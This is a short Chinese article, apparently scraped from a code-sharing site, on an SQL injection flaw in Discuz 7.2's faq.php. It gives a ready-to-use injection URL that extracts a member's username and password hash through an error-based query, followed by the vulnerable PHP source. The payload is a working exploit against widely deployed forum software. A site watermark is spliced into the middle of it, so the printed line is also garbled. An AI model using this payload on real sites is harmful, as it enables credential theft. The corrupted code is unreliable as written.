这篇文章主要介绍了Discuz7.2版的faq.php SQL注入漏洞分析,包含注入代码和源码分析,需要的朋友可以参考下
注入代码实例:
代码如下:
https://www.gaodaima.com/faq.php?action=grouppermission&gids%5B99%5D=%27&gids%5B100%5D%5B0%5D=) and (select 1 from (select count(*),concat((来源gaodai$ma#com搞$$代**码网select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
漏洞分析: by phithon
代码如下:
($action == ‘grouppermission’) {
…
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query(“SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (“.implodeids($groupids).”)”);
…
}
function implodeids($array) {
if(!empty($array)) {
return “‘”.implode(“‘,'”, is_array($array) ? $array : array($array)).”‘”;
} else {
return ”;
}
}
以上就是Discuz7.2版的faq.php SQL注入漏洞分析的详细内容,更多请关注gaodaima搞代码网其它相关文章!